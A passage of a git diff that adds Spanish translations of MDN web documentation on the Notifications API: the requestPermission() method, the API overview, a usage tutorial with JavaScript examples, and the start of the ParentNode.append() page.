+   <td>{{ CompatNo() }}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_de_Firefox_OS">Notas de Firefox OS</h3>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}</p>
+
+<h3 id="Notas_de_Chrome">Notas de Chrome</h3>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}</p>
+
+<h3 id="Notas_de_Safari">Notas de Safari</h3>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/API/Notifications_API/Usando_la_API_de_Notificaciones">Usando la API de Notificaciones</a></li>
+ <li>{{domxref("Permissions_API","Permissions API")}}</li>
+</ul>
diff --git a/files/es/web/api/notification/requestpermission/index.html b/files/es/web/api/notification/requestpermission/index.html
new file mode 100644
index 0000000000..6c4b8080b3
--- /dev/null
+++ b/files/es/web/api/notification/requestpermission/index.html
@@ -0,0 +1,143 @@
+---
+title: Notification.requestPermission()
+slug: Web/API/notification/requestPermission
+translation_of: Web/API/Notification/requestPermission
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>El método <strong><code>requestPermission()</code></strong> de la interfaz {{domxref("Notification")}} realiza una petición de permiso al usuario para que en ese <a href="https://es.wikipedia.org/wiki/Dominio_de_Internet">dominio web</a> se puedan mostrar notificaciones. </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La ultima especificación ha actualizado este método a una sintaxis basada en <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise">Promise</a></code>:</p>
+
+<pre class="brush: js">Notification.requestPermission().then(function(permission) { ... });</pre>
+
+<p>Anteriormente, la sintaxis se basaba en una simple retrollamada (callback); esta especificación ahora está obsoleta.</p>
+
+<pre class="brush: js">Notification.requestPermission(<em>callback</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code> {{optional_inline}} {{deprecated_inline("gecko46")}}</dt>
+ <dd>Una retrollamada (callback) opcional que es ejecutado con el valor del permiso elegido por el usuario. Obsoleto y reemplazado por el valor de retorno de <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise">Promise</a></code>.</dd>
+</dl>
+
+<h3 id="Retorno">Retorno</h3>
+
+<p>Devuleve un <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise">Promise</a></code> que se transforma a <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString">DOMString</a></code> con el permiso escogido por el usuario. Los valores posibles para este son <code>granted</code>, <code>denied</code>, ó <code>default</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente fragmento realiza la petición de permiso al usuario, después registra un resultado diferente dependiendo de la elección del usuario.</p>
+
+<pre class="brush: js">Notification.requestPermission(<span class="s1">function</span>(result) {
+  <span class="s1">if</span> (result === <span class="s2">'denied'</span>) {
+<span class="s3">    console.log(</span>'Permission wasn\'t granted. Allow a retry.'<span class="s3">);</span>
+    <span class="s1">return</span>;
+  } else if (result === 'default') {
+    console.log('The permission request was dismissed.');
+    return;
+  }
+  // Hacer algo con el permiso concedido.
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_buscadores">Compatibilidad con los buscadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5 {{ property_prefix("webkit") }} (ver notas)<br>
+    22</td>
+   <td>4.0 {{ property_prefix("moz") }} (ver notas)<br>
+    22</td>
+   <td>{{ CompatNo() }}</td>
+   <td>25</td>
+   <td>6 (ver notas)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>4.0 {{ property_prefix("moz") }} (ver notas)<br>
+    22</td>
+   <td>1.0.1 {{ property_prefix("moz") }} (ver notas)<br>
+    1.2</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_de_Firefox_OS">Notas de Firefox OS</h3>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}</p>
+
+<h3 id="Notas_de_Chrome">Notas de Chrome</h3>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}</p>
+
+<h3 id="Notas_de_Safari">Notas de Safari</h3>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Usando la API de notificaciones</a></li>
+</ul>
diff --git a/files/es/web/api/notifications_api/index.html b/files/es/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..596064172e
--- /dev/null
+++ b/files/es/web/api/notifications_api/index.html
@@ -0,0 +1,198 @@
+---
+title: Notifications API
+slug: Web/API/Notifications_API
+tags:
+  - Landing
+  - NeedsTranslation
+  - Notifications
+  - TopicStub
+  - permission
+  - system
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}</p>
+
+<p class="summary">The Notifications API allows web pages to control the display of system notifications to the end user. These are outside the top-level browsing context viewport, so therefore can be displayed even when the user has switched tabs or moved to a different app. The API is designed to be compatible with existing notification systems, across different platforms.</p>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>On supported platforms, showing a system notification generally involves two things. First, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the {{domxref("Notification.requestPermission()")}} method. This will spawn a request dialog, along the following lines:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
+
+<p>From here the user can choose to allow notifications from this origin, block notifications from this origin, or not choose at this point. Once a choice has been made, the setting will generally persist for the current session. </p>
+
+<div class="note">
+<p><strong>Note</strong>: As of Firefox 44, the permissions for Notifications and <a href="/en-US/docs/Web/API/Push_API">Push</a> have been merged. If permission is granted for notifications, push will also be enabled.</p>
+</div>
+
+<p>Next, a new notification is created using the {{domxref("Notification.Notification","Notification()")}} constructor. This must be passed a title argument, and can optionally be passed an options object to specify options, such as text direction, body text, icon to display, notification sound to play, and more.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>In addition, the Notifications API spec specifies a number of additions to the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a>, to allow service workers to fire notifications.</p>
+
+<div class="note">
+<p><strong>Note</strong>: To find out more about using notifications in your own app, read <a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a>.</p>
+</div>
+
+<h2 id="Notifications_interfaces">Notifications interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Notification")}}</dt>
+ <dd>Defines a notification object.</dd>
+</dl>
+
+<h3 id="Service_worker_additions">Service worker additions</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
+ <dd>Includes the {{domxref("ServiceWorkerRegistration.showNotification()")}} and {{domxref("ServiceWorkerRegistration.getNotifications()")}} method, for controlling the display of notifications.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
+ <dd>Includes the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} handler, for firing custom functions when a notification is clicked.</dd>
+ <dt>{{domxref("NotificationEvent")}}</dt>
+ <dd>A specific type of event object, based on {{domxref("ExtendableEvent")}}, which represents a notification that has fired.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>
+    <p>{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("42.0")}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile(22.0)}}</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42.0)}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Prior to Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification()</code> method. In addition, the Notification was displayed when calling the <code>show()</code> method, and supported only the <code>click</code> and <code>close</code> events (Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.)</p>
+
+<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+<p>[4] Firefox 42 has shipped with web notifications from Service Workers disabled.</p>
+
+<h2 id="Firefox_OS_permissions">Firefox OS permissions</h2>
+
+<p>When using notifications in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above:</p>
+
+<pre class="brush: json">"permissions": {
+  "desktop-notification": {}
+}</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/es/web/api/notifications_api/usando_la_api_de_notificaciones/index.html b/files/es/web/api/notifications_api/usando_la_api_de_notificaciones/index.html
new file mode 100644
index 0000000000..8220534f63
--- /dev/null
+++ b/files/es/web/api/notifications_api/usando_la_api_de_notificaciones/index.html
@@ -0,0 +1,294 @@
+---
+title: Usando la API de Notificaciones
+slug: Web/API/Notifications_API/Usando_la_API_de_Notificaciones
+tags:
+  - API
+  - Notificaciones
+  - Tutorial
+translation_of: Web/API/Notifications_API/Using_the_Notifications_API
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p class="summary">La <a href="/en-US/docs/Web/API/Notifications_API">API de Notificaciones</a> permite a una página web enviar notificaciones que se mostrarán fuera de la web al nivel del sistema. Esto permite a las aplicaciones web enviar información al usuario aunque estas estén de fondo.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Para comenzar, tenemos que saber qué son las notificaciones y cómo se muestran. En la imagen de abajo se puede ver un ejemplo de notificaciones en android.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10959/android-notification.png" style="display: block; height: 184px; margin: 0px auto; width: 300px;"><img alt="" src="https://mdn.mozillademos.org/files/10961/mac-notification.png" style="display: block; height: 97px; margin: 0px auto; width: 358px;"></p>
+
+<p>El sistema de notificaciones variará según el navegador y la plataforma en la que estemos, pero esto no va a suponer ningún problema. La API de notificaciones está escrita de manera que sea compatible con la gran mayoría de sistemas.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div class="column-container">
+<div class="column-half">
+<p>Un ejemplo claro de uso de notificaciones web puede ser un mail basado en web o una aplicación IRC que nos notificará cada vez que nos llegue un nuevo mensaje, aunque estemos fuera de la aplicación. Un ejemplo de esto lo podemos ver en <a href="https://slack.com/">Slack</a>.</p>
+
+<p>Hemos escrito un par de ejemplos del mundo real para dar una idea más clara de cómo podemos usar las notificaciones web:</p>
+
+<ul>
+ <li><strong>Lista de pendientes</strong>: Esto es una app sencilla que almacena las tareas pendientes localmente usando <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> y avisa al usuario cuándo hay que realizar las tareas mediante notificaciones. <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">Descarga el código</a>, o echa un vistazo al <a href="http://mdn.github.io/to-do-notifications/">ejemplo en tiempo real</a>.</li>
+ <li><strong>Emogotchi</strong>: Una parodia absurda de Tamagotchi, en la que tienes que mantener a tu Emo miserable o perderás el juego. Esto usa las notificaciones del sistema para indicarte cómo lo estás haciendo y para quejarse de ti, TODO EL RATO. <a href="https://github.com/mdn/emogotchi">Descarga el código de Emogotchi</a>, o echa un vistazo a la <a href="http://mdn.github.io/emogotchi/">versión en tiempo real</a>.</li>
+</ul>
+</div>
+
+<div class="column-half">
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/10963/emogotchi.png" style="max-width: 300px; width: 70%;">.</p>
+</div>
+</div>
+
+<h2 id="Pidiendo_permiso">Pidiendo permiso</h2>
+
+<p>Antes de que una app pueda lanzar una notificación, el usuario tiene que darle permiso para ello. Esto es un requisito común cuando una API intenta interactuar con algo fuera de una página web — al menos una vez, el usuario tendrá que permitir a la aplicación mostrar notificaciones, de esta forma, el usuario decide qué aplicaciones le pueden mostrar notificaciones y cuáles no.</p>
+
+<h3 id="Comprobando_el_permiso_actual">Comprobando el permiso actual</h3>
+
+<p>Puedes comprobar si ya tienes permiso comprobando la propiedad {{domxref("Notification.permission")}} de solo lectura. Esta puede tener uno de los siguientes valores:</p>
+
+<dl>
+ <dt><code>default</code></dt>
+ <dd>No se le ha pedido permiso al usuario aún, por lo que la app no tiene permisos.</dd>
+ <dt><code>granted</code></dt>
+ <dd>El usuario ha permitido las notificaciones de la app.</dd>
+ <dt><code>denied</code></dt>
+ <dd>El usuario ha denegado las notificaciones de la app.</dd>
+</dl>
+
+<h3 id="Obteniendo_permiso">Obteniendo permiso</h3>
+
+<p>Si la aplicación aún no tiene permiso para mostrar notificaciones, tendremos que hacer uso de {{domxref("Notification.requestPermission()")}} para pedir permiso al usuario. En su manera más simple, tal y como se usa en la <a href="http://mdn.github.io/emogotchi/">Demo de Emogotchi</a> (<a href="https://github.com/mdn/emogotchi">código fuente</a>), solo tenemos que incluir lo siguiente:</p>
+
+<pre class="brush: js">Notification.requestPermission().then(function(result) {
+  console.log(result);
+});</pre>
+
+<p>Esto usa la versión promise del método, que está soportada en las versiones recientes (p.ej. Firefox 47). Si quieres soportar versiones más antiguas tendrás que usar la versión de callback, que es la siguiente:</p>
+
+<pre class="brush: js">Notification.requestPermission();</pre>
+
+<p>La versión de callback acepta de forma opcional una función callback que será ejecutada cuando el usuario responda a si quiere notificaciones o no (tal y como se ve en el segundo <code>else ... if</code> abajo). Por lo general, pedirás permiso para mostrar notificaciones una vez que hayas inicializado la app, y antes de lanzar una notificación. Si quieres ser muy cuidadoso puedes usar lo siguiente (ver <a href="https://github.com/mdn/to-do-notifications/blob/gh-pages/scripts/todo.js#L305-L344">To-do List Notifications</a>):</p>
+
+<pre class="brush: js">function notifyMe() {
+  // Comprobamos si el navegador soporta las notificaciones
+  if (!("Notification" in window)) {
+    alert("Este navegador no soporta las notificaciones del sistema");
+  }
+
+  // Comprobamos si ya nos habían dado permiso
+  else if (Notification.permission === "granted") {
+    // Si esta correcto lanzamos la notificación
+    var notification = new Notification("Holiwis :D");
+  }
+
+  // Si no, tendremos que pedir permiso al usuario
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // Si el usuario acepta, lanzamos la notificación
+      if (permission === "granted") {
+        var notification = new Notification("Gracias majo!");
+      }
+    });
+  }
+
+  // Finalmente, si el usuario te ha denegado el permiso y
+  // quieres ser respetuoso no hay necesidad molestar más.
+}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Antes de la versión 37, Chrome no te deja llamar a {{domxref("Notification.requestPermission()")}} en manejador de eventos <code>load</code> (ver <a href="https://code.google.com/p/chromium/issues/detail?id=274284" title="https://code.google.com/p/chromium/issues/detail?id=274284">problema 274284</a>).</p>
+</div>
+
+<h3 id="Permisos_en_Firefox_OS_manifest">Permisos en Firefox OS manifest</h3>
+
+<p>Ten en cuenta que mientras la API de Notificaciones no esté {{Glossary("privileged")}} o {{Glossary("certified")}}, deberías seguir inculyendo una entrada en tu archivo <code>manifest.webapp</code> cuando vayas a usarlo en una app en Firefox OS:</p>
+
+<pre>"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+},
+"messages": [{"notification": "path/to/your/index.html"}]
+
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuándo una aplicación es instalada, no deberías de necesitar {{anch("Getting permission","explicitly request permission")}}, pero vas a seguir necesitando los permisos y las entradas de texto de arriba para poder lanzar las notificaciones.</p>
+</div>
+
+<h2 id="Creando_una_notificación">Creando una notificación</h2>
+
+<p>Crear una notificación es fácil, simplemente usa el constructor {{domxref("Notification")}}. Este constructor espera un título que mostrar en la notificación y otras opciones para mejorar la notificación, como un {{domxref("Notification.icon","icon")}} o un texto {{domxref("Notification.body","body")}}.</p>
+
+<p>Por ejemplo, en el <a href="https://github.com/mdn/emogotchi/blob/master/main.js#L109-L127">Ejemplo de Emogotchi</a> tenemos dos funciones que pueden ser llamadas cuando hay que lanzar una notificación; el uso de una u otra depende de si queremos establecer el contenido de la notificación, o si queremos una notificación con contenido aleatorio:</p>
+
+<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+  setTimeout(n.close.bind(n), 5000);
+}
+
+function randomNotification() {
+  var randomQuote = quoteChooser();
+  var options = {
+      body: randomQuote,
+      icon: 'img/sad_head.png',
+  }
+
+  var n = new Notification('Emogotchi says',options);
+  setTimeout(n.close.bind(n), 5000);
+}</pre>
+
+<h2 id="Cerrando_las_notificaciones">Cerrando las notificaciones</h2>
+
+<p>Firefox y Safari cierran las notificaciones automáticamente tras cierto tiempo (unos 4 segundos). Esto también puede suceder a nivel de sistema operativo (en Windows duran 7 segundos por defecto). En cambio, en algunos navegadores no se cierran automáticamente, como en Chrome, por ejemplo. Para asegurarnos de que las notificaciones se cierran en todos los navegadores, al final de las funciones de arriba, llamamos a la función {domxref("Notification.close")}}  dentro de {{domxref("WindowTimers.setTimeout","setTimeout()")}} para cerrar la notificación tras 5 segundos. Date cuenta también del uso que hacemos de <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind()</a></code> para asegurarnos de que la función <code>close()</code> está asociada a la notificación.</p>
+
+<pre class="brush: js">setTimeout(n.close.bind(n), 5000);
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuándo recibes un evento "close", no hay ninguna garantía de que haya sido el usuario quién ha cerrado la notificación. Esto coincide con la especificación que dice: "Cuando una notificación es cerrada, sea por la misma plataforma o por el usuario, se deben lanzar los pasos de cierre para la misma".</p>
+</div>
+
+<h2 id="Eventos_de_Notificación">Eventos de Notificación</h2>
+
+<p>Las especificaciones de la API de notificaciones listan cuatro eventos que pueden ser lanzados en la instancia {{domxref("Notification")}}:</p>
+
+<dl>
+ <dt>{{event("click")}}</dt>
+ <dd>Lanzado cuando el usuario hace click en la notificación.</dd>
+ <dt>{{event("error")}}</dt>
+ <dd>Lanzado cuando algo falla en la notificación; habitualmente es porque la notificación no se ha podido mostrar por algún motivo.</dd>
+</dl>
+
+<p>Estos eventos se pueden monitorizar usando los manejadores {{domxref("Notification.onclick","onclick")}} y {{domxref("Notification.onerror","onerror")}}. Como {{domxref("Notification")}} también hereda de {{domxref("EventTarget")}}, es posible usar el método {{domxref("EventTarget.addEventListener","addEventListener()")}} en ella.</p>
+
+<p>También hay otros dos eventos que estaban listados en la especificación, pero que han sido eliminados recientemente. Estos puede que sigan funcionando en los navegadores por ahora, pero deberían tratarse como obsoletos y evitar su uso:</p>
+
+<dl>
+ <dt>{{event("close")}}</dt>
+ <dd>Lanzado cuándo la notificación se cierra.</dd>
+ <dt>{{event("show")}}</dt>
+ <dd>Lanzado cuándo la notificación se muestra al usuario.</dd>
+</dl>
+
+<h2 id="Reemplazando_notificaciones_existentes">Reemplazando notificaciones existentes</h2>
+
+<p>Normalmente los usuario no quieren recibir muchas notificaciones en poco tiempo — por ejemplo, una aplicación de mensajería que te notifica cada mensaje que te llegue, y te llegan un montón. Para evitar el spam de notificaciones, se puede modificar la cola de notificaciones, reemplazando una o varias notificaciones pendientes, por una nueva notificación.</p>
+
+<p>Para hacer esto, se puede añadir una etiqueta a cualquier nueva notificación. Si ya hay una notificación con la misma etiqueta y aún no se ha mostrado, la nueva reemplazará a la anterior. Si la notificación con la misma etiqueta ya ha sido mostrada, se cerrará la anterior y se mostrará la nueva.</p>
+
+<h3 id="Ejemplo_de_etiquta">Ejemplo de etiquta</h3>
+
+<p>Teniendo el siguiente código HTML:</p>
+
+<pre class="brush: html">&lt;button&gt;Notifícame!&lt;/button&gt;</pre>
+
+<p>Es posible controlar múltiples notificaciones de la siguiente forma:</p>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  // Primero, comprobamos si tenemos permiso para lanzar notificaciones
+  // Si no lo tenemos, lo pedimos
+  if (window.Notification &amp;&amp; Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // Si el usuario ha dado permiso
+    // le intentamos enviar 10 notificaciones
+    if (window.Notification &amp;&amp; Notification.permission === "granted") {
+      var i = 0;
+      // Usamos un inteval porque algunos navegadores (Firefox incluído) bloquean las notificaciones si se envían demasiadas en cierto tiempo.
+      var interval = window.setInterval(function () {
+        // Gracias a la etiqueta, deberíamos de ver sólo la notificación "Holiws! 9"
+        var n = new Notification("Holiwis! " + i, {tag: 'soManyNotification'});
+        if (i++ == 9) {
+          window.clearInterval(interval);
+        }
+      }, 200);
+    }
+
+    // Si el usuario no ha dicho si quiere notificaciones
+    // Nota: en Chrome no estamos seguros de si la propiedad permission
+    // esta asignada, por lo que es inseguro comprobar el valor "default".
+    else if (window.Notification &amp;&amp; Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        // Si el usuario acepta
+        if (status === "granted") {
+          var i = 0;
+          // Usamos un inteval porque algunos navegadores (Firefox incluído) bloquean las notificaciones si se envían demasiadas en cierto tiempo.
+          var interval = window.setInterval(function () {
+          // Gracias a la etiqueta, deberíamos de ver sólo la notificación "Holiws! 9" var n = new Notification("Holiwis! " + i, {tag: 'soManyNotification'});
+            if (i++ == 9) {
+              window.clearInterval(interval);
+            }
+          }, 200);
+        }
+
+        // Otherwise, we can fallback to a regular modal alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // If the user refuses to get notified
+    else {
+      // We can fallback to a regular modal alert
+      alert("Hi!");
+    }
+  });
+});</pre>
+
+<p>Comprueba el ejemplo en directo abajo:</p>
+
+<p>{{ EmbedLiveSample('Tag_example', '100%', 30) }}</p>
+
+<h2 id="Receiving_notification_of_clicks_on_app_notifications">Receiving notification of clicks on app notifications</h2>
+
+<p>When a user clicks on a notification generated by an app, you will be notified of this event in two different ways, depending on the circumstance:</p>
+
+<ol>
+ <li>A click event if your app has not closed or been put in the background between the time you create the notification and the time the user clicks on it.</li>
+ <li>A <a href="/en-US/docs/Web/API/Navigator/mozSetMessageHandler">system message</a> otherwise.</li>
+</ol>
+
+<p>See <a href="https://github.com/mozilla/buddyup/commit/829cba7afa576052cf601c3e286b8d1981f93f45#diff-3">this code snippet</a> for an example of how to deal with this.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{page("/en-US/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/User_notifications">User notifications reference</a></li>
+ <li><a href="/en-US/Apps/Build/User_notifications/Notifying_users_via_the_Notification_and_Vibration">Notifying users via the Notification and Vibration APIs</a></li>
+ <li>{{ domxref("Notification") }}</li>
+</ul>
diff --git a/files/es/web/api/parentnode/append/index.html b/files/es/web/api/parentnode/append/index.html
new file mode 100644
index 0000000000..3899492a80
--- /dev/null
+++ b/files/es/web/api/parentnode/append/index.html
@@ -0,0 +1,134 @@
+---
+title: ParentNode.append()
+slug: Web/API/ParentNode/append
+translation_of: Web/API/ParentNode/append
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">El método </span></font><strong>ParentNode.append()</strong></code> inserta un conjunto de objetos de tipo {{domxref("Node")}} u objetos de tipo {{domxref("DOMString")}} después del último hijo de <code>ParentNode</code>. Los objetos {{domxref("DOMString")}} son insertados como nodos {{domxref("Text")}} equivalentes.</p>
+
